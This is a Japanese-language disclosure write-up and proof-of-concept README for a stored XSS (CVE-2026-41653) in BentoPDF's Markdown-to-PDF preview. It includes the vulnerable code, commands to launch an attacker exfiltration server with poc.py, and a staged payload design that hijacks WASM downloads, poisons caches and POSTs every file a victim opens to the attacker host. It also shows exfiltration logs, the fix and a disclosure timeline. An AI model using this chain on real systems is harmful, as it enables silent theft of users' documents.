発見・報告者: Astaruf
詳細レポート: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
上流アドバイザリ: alam00000/bentopdf GHSA advisory
NVDエントリ: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF は、セルフホスト型のブラウザサイドPDFツールボックスです(圧縮、結合、分割、回転、変換、Markdown-to-PDFなど)。
Markdown-to-PDF ツールは、ユーザーが提供したMarkdownを を指定した に通し、レンダリングされた出力をサニタイズなしで 経由で直接DOMに注入します。細工された ファイルを配信する攻撃者は、BentoPDFオリジン内で任意のJavaScriptを実行できます。
html: truemarkdown-itinnerHTML.mdBentoPDFは完全にクライアントサイドのアプリケーションであるため、すべてのツール(PDF圧縮、PDF結合、PDF分割など)はファイルを被害者のブラウザ上で直接読み込み・処理します。したがって、単一のXSSだけで、セッション中に被害者が任意のツールで開くすべてのドキュメントを静かに窃取できます。
攻撃者が report.md( を含む)を送信
-> 被害者が Markdown-to-PDF で開く
-> markdown-it が生のHTMLをレンダリング(html: true)
-> preview.innerHTML = html (DOMPurifyなし)
-> 攻撃者サーバーから poc_payload.js を読み込み(CSPなし)
-> FileReader + <input type=file> をアプリ全体にフック
-> 隠しポップアップがツール移動のたびにフックを再注入
-> 被害者が開くすべてのファイルが静かに窃取される
localStorage['bentopdf:wasm-providers'] を上書きし、PyMuPDF、Ghostscript、cpdfのWASMモジュールのダウンロードを攻撃者が管理するホストにリダイレクトします。window.opener をポーリングし、被害者が別のツールに移動するたびにファイルフックを再注入して、セッション全体を通じてアクセスを維持します。bentopdf-* キャッシュを汚染して、現在のセッションを超えてブラウザに配信されるすべての /assets/*.js ファイルに窃取フックを追加します。markdown-it における生のHTMLパススルー(CWE-79)src/js/utils/markdown-editor.ts(271〜272行目):
private mdOptions: MarkdownItOptions = {
html: true, // raw HTML tags pass through the markdown parser
breaks: false,
linkify: true,
typographer: true,
};
``、<svg>、<details> などのタグや、任意のイベントハンドラ属性(onerror、onload、ontoggle)がそのままDOMに転送されます。
innerHTML 注入(CWE-116)src/js/utils/markdown-editor.ts(689〜694行目):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // attacker-controlled HTML injected into DOM
this.renderMermaidDiagrams();
}
markdown-it と innerHTML の間にサニタイズライブラリは適用されていません。ブラウザは注入された文字列を解析し、インラインイベントハンドラに遭遇すると即座に実行します。
nginx.conf には Content-Security-Policy ヘッダーが含まれていません。注入されたJavaScriptは、外部スクリプトを自由に読み込み、任意のホストに fetch() リクエストを発行し、ポップアップウィンドウを開くことができます。制限的なCSPがあれば、シンクが存在していても外部スクリプト読み込み段階を防げたはずです。
# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py will:
# - generate poc_report.md payload in the current directory
# - start listening for victim's callbacks and exfiltrated files
poc_report.md を被害者に送信し、BentoPDF → Markdown-to-PDF で開くよう依頼します。プレビューがレンダリングされた瞬間にペイロードが発火し、被害者が今後アップロードするすべてのファイルが攻撃者のサーバーに窃取されます。
| オプション | デフォルト | 説明 |
|---|---|---|
--lhost | 必須 | 被害者のブラウザから到達可能なIP |
--lport | 9999 | リッスンポート |
--loot-dir | ./loot/ | 窃取されたファイルが保存されるディレクトリ |
--log-file | なし | すべてのイベントをファイルに追記(ANSIコードは除去) |
--no-color | オフ | ターミナル出力のANSIカラーを無効化 |
1. --lhost と --lport を指定して攻撃者サーバーを起動。悪意のある poc_report.md が自動生成されます。
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. 被害者がBentoPDFでMarkdown-to-PDFツールを開きます。

3. 被害者が poc_report.md を読み込みます。プレビューがレンダリングされ、`` の読み込みに失敗して onerror が発火します。poc_payload.js がCSPによるブロックなしで攻撃者サーバーから取得されます。

4. ペイロードが4つのステージを実行します:localStorage経由のWASMプロバイダーハイジャック、ポップアップモニターの起動、現在のページへの FileReader とファイル入力フックのインストール。

5. 被害者がPDF圧縮に移動します。ポップアップがナビゲーションを検出し、新しいページにフックを再注入します。

6. 被害者がPDFを読み込みます。ツールは通常どおり圧縮します。ファイルのバイトはすでに攻撃者サーバーにPOSTされています。

7. 検証済み実行からの攻撃者サーバー出力:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. 窃取されたファイルは、元のファイルと同一の完全で有効なPDFとして開きます。

poc.py に埋め込まれたペイロードは、4つのステージを順に実行します:
| ステージ | 動作 | 永続化の範囲 |
|---|---|---|
| 1 | localStorage['bentopdf:wasm-providers'] を上書きし、すべてのWASMモジュールのダウンロードを攻撃者にリダイレクト | ブラウザセッションをまたぐ |
| 2 | /sw.js を登録し、すべてのツールページの /assets/*.js を列挙して、bentopdf-* Service Workerキャッシュを窃取フックで汚染 | ブラウザセッションを超える(HTTPSのみ) |
| 3 | window.opener.location.href をポーリングする隠し1×1ポップアップを起動し、ツールナビゲーションのたびにファイルフックを再注入 | BentoPDFタブが開いている間 |
| 4 | FileReader.prototype.readAsArrayBuffer とドキュメントレベルの change リスナーをフック:被害者が触れるすべてのファイルが攻撃者サーバーの /file?name=<filename> にPOSTされる | 現在のページ |
BentoPDF v2.8.3 で提供されました。開発者は当初報告されたシンクを超えてコードベースを監査し、複数の関連ベクトルに対処しました:
markdown-editor.ts の3つの innerHTML シンクすべてに適用されました。これには、securityLevel: 'loose' を使用しており最初のサニタイザーをバイパスすることが判明したMermaid SVGパスも含まれます。securityLevel: 'strict' で実行され、SVG出力はDOMPurifyのSVGプロファイルで再サニタイズされます。file.name XSS は、ファイル名がサニタイズなしでHTMLに連結されていた約8つのツールページ(Deskew、Form Filler、Remove Annotationsなど)でエスケープされました。localStorage['bentopdf:wasm-providers'] 内の信頼できないURLは読み込み時に破棄されます。nginx.conf で強制され、Content-Security-Policy が含まれます。当初報告されたシンクに対する最小限の修正:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
nginx.conf に追加されたCSPヘッダー:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| 日付 | イベント |
|---|---|
| 2026-04-02 | 脆弱性を発見 |
| 2026-04-02 | メンテナーに非公開で報告 |
| 2026-04-17 | メンテナーが確認 |
| 2026-04-17 | edge ビルドに修正が適用され、再テスト |
| 2026-04-18 | v2.8.3 が公開クレジット付きでリリース |
| 2026-04-21 | GHSAアドバイザリ公開 |
| 2026-04-22 | CVE-2026-41653 割り当て |
この資料は、認可されたセキュリティテストおよび教育目的のみ を対象としています。所有している、または明示的な書面によるテスト許可を得ているBentoPDFインスタンスに対してのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は誤用に対する責任を負いません。